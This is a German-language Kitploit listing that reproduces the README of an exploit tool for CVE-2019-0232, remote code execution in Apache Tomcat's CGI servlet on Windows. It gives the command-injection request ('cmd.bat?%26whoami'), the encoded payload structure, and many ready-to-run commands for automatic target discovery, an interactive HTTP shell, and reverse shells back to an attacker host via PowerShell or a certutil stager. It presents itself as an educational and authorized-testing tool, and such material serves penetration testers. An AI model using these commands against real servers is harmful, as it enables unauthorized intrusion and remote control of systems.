Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
Tools/GitHubGitHub/blackjuker2/cve-2019-0232
SchwachstellenscannerPayload-GenerierungExploitationShellcodeWebanwendungs-ExploitationFuzzingPenetrationstestsLernen & BildungRemote-Access-Tool
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2019-0232 — Apache Tomcat CGI Servlet RCE

Nur für Bildungszwecke und autorisierte CTF-/Penetrationstests.
Die Verwendung gegen Systeme, die nicht Ihr Eigentum sind oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal.


Übersicht der Schwachstelle

CVE-2019-0232 ist eine Remote-Codeausführung-Schwachstelle in Apache Tomcat unter Windows.
Wenn das CGI-Servlet enableCmdLineArguments=true hat (vor dem Patch unter Windows standardmäßig aktiviert), übergibt Tomcat die HTTP-Abfragezeichenfolge direkt als Befehlszeilenargumente an die CGI-Batchdatei über Runtime.exec(). Unter Windows umschließt Runtime.exec() den Aufruf mit cmd.exe /c, sodass das &-Befehlsseparator innerhalb dieser Argumente aktiv ist.

Ein Angreifer kann einen zweiten Betriebssystembefehl injizieren, indem er & (URL-kodiert als %26) in die URL einfügt:

root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat dekodiert die URL → cmd.exe /c cmd.bat &whoami
# cmd.exe sieht das & und führt whoami aus, nachdem cmd.bat beendet ist

Betroffene Versionen (nur Windows)

BranchAngreifbarer BereichBehoben in
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

Voraussetzung: enableCmdLineArguments=true in conf/web.xml (vor Patch unter Windows standardmäßig aktiviert).


Funktionen

  • Auto-Modus — vollständige Kette: Ermitteln → Fuzzen von CGI-Pfaden → interaktive Shell
  • Versionserkennung — Identifiziert Tomcat-Version anhand von HTTP-Headern und Fehlerseiten
  • CGI-Pfad-Fuzzer — mehrthreadig, integrierte Wortliste + optionale benutzerdefinierte Wortliste (-w)
  • Einzelbefehl — einen Befehl ausführen und Ausgabe ausgeben (--cmd)
  • Interaktive HTTP-Shell — REPL-Schleife über HTTP, jeder Befehl eine neue Anfrage
  • Reverse Shell — integrierter TCP-Listener
    • PowerShell-Base64-kodiertes Payload (Standard)
    • certutil-Stager (Fallback)
  • PATH-Injektion — setzt automatisch System32, Windows, Wbem, PowerShell, sodass whoami, ipconfig, netstat, powershell.exe ohne vollständige Pfade funktionieren

Installation

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Python 3.8+ erforderlich.


Verwendung

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

Modi

Beispiele

Auto-Modus — Skript findet alles automatisch:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

Einzelner Befehl auf bekanntem Endpunkt:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

Interaktive Shell-Schleife:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

Vollständige Auto-Kette → Reverse Shell (kein separater nc erforderlich):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

Das Skript öffnet seinen eigenen TCP-Listener auf --lport, sendet das PowerShell-Payload und wechselt in eine interaktive Shell, sobald das Ziel zurückruft.

PowerShell-Reverse-Shell auf bekanntem Pfad:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

certutil-Stager (falls PowerShell blockiert ist):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

Benutzerdefinierte Wortliste für Fuzzing:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

Einträge ohne Dateierweiterung werden automatisch sowohl als .bat als auch als .cmd geprüft.

Proxy über Burp Suite:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

Zeige die rohe Injektions-URL vor jeder Anfrage:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

Alle Optionen

root@kitploit:~
positional / erforderlich:
  -t, --target URL        Basis-URL des Ziels  z. B. http://10.10.10.x:8080

Pfad:
  -p, --path PATH         Bekannter CGI-Skript-Pfad  z. B. /cgi/cmd.bat

Modi:
  --auto                  Vollständige Kette: enum → fuzz → interaktiv
  --enum                  Tomcat-Version und CGI-Pfade ermitteln
  --fuzz                  Nach zugänglichen CGI-Skript-Endpunkten fuzzen
  --cmd COMMAND           Einzelnen Befehl ausführen und Ausgabe ausgeben
  --interactive           Interaktive Befehlsschleife (HTTP-Shell)
  --reverse-shell         PowerShell-Reverse-Shell senden

Reverse Shell:
  --lhost IP              Ihre Listener-IP (für HTB/OSCP tun0 verwenden)
  --lport PORT            Ihr Listener-Port (Standard: 4444)
  --shell-method {ps,certutil}
                          Payload-Typ: ps (Standard) oder certutil-Stager

Optionen:
  -w, --wordlist DATEI    Zusätzliche CGI-Namen zum Fuzzen (einer pro Zeile)
  --threads N             Fuzz-Threads (Standard: 15)
  --timeout N             HTTP-Timeout in Sekunden (Standard: 10)
  --proxy URL             HTTP-Proxy  z. B. http://127.0.0.1:8080
  --no-ssl-verify         TLS-Zertifikatsprüfung deaktivieren
  --show-url              Vollständige Injektions-URL vor jeder Anfrage anzeigen

Wie die Injektion funktioniert

Das Skript erstellt die Injektions-URL in drei Schritten:

  1. PATH-Injektion — umschließt Ihren Befehl in eine Gruppe, die zuerst PATH setzt:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<Ihr Befehl> 2>&1)
    

    Das echo. gibt eine leere Zeile aus und befriedigt Tomcats CGI-Header-Parser, sodass der Antworttext sichtbar ist.

  2. URL-Kodierung — Leerzeichen werden zu +, Sonderzeichen werden über urllib.parse.quote zu %XX.

  3. Injektionspunkt — die kodierte Gruppe wird nach %26 (dem &-Separator) platziert:

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

Getestet mit

  • Apache Tomcat 9.0.17 unter Windows Server 2019
  • Python 3.11 / 3.12 unter Kali Linux

Referenzen

  • NVD — CVE-2019-0232
  • Apache-Sicherheitshinweis
  • Exploit-DB #47073

Rechtlicher Hinweis

Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Holen Sie stets eine ausdrückliche schriftliche Erlaubnis ein, bevor Sie ein System testen.

Tool herunterladen
  • stderr-Zusammenführung — 2>&1 wird automatisch angehängt, sodass Fehlerausgaben sichtbar sind
  • Burp-Proxy-Unterstützung — Verkehr über --proxy http://127.0.0.1:8080 leiten
  • FlaggeBeschreibung
    --autoErmitteln → Fuzzen → in interaktive Shell wechseln
    --enumNur Tomcat-Version und CGI-Pfade ermitteln
    --fuzzNach zugänglichen .bat/.cmd-Endpunkten fuzzen
    --cmd COMMANDEinen einzelnen Befehl ausführen
    --interactiveInteraktive HTTP-Shell-Schleife
    --reverse-shellReverse Shell starten (erfordert --lhost)